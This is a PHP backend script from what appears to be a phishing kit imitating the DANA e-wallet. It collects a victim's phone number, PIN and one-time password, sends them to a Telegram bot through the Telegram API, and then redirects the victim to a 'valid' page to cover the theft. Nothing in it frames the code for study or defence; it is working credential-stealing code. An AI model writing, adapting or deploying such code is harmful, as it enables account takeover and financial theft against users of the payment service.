<?php
include "telegram.php";
session_start();

$nohp = $_SESSION['nohp'];
$pin = $_SESSION['pin'];
$o1 = $_POST['otp1'];
$o2 = $_POST['otp2'];
$o3 = $_POST['otp3'];
$o4 = $_POST['otp4'];
$otp = $o1.$o2.$o3.$o4;
$message = "
( DANA | OTP | ".$nohp." )

- NoHP : `{$_SESSION['nohp']}`
- PIN : ".$pin."
- OTP : ".$otp."
 ";
function sendMessage($id_telegram, $message, $id_botTele) {
    $url = "https://api.telegram.org/bot" . $id_botTele . "/sendMessage?parse_mode=markdown&chat_id=" . $id_telegram;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true);
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}
sendMessage($id_telegram, $message, $id_botTele);
header('Location: /../../valid.html');
?>
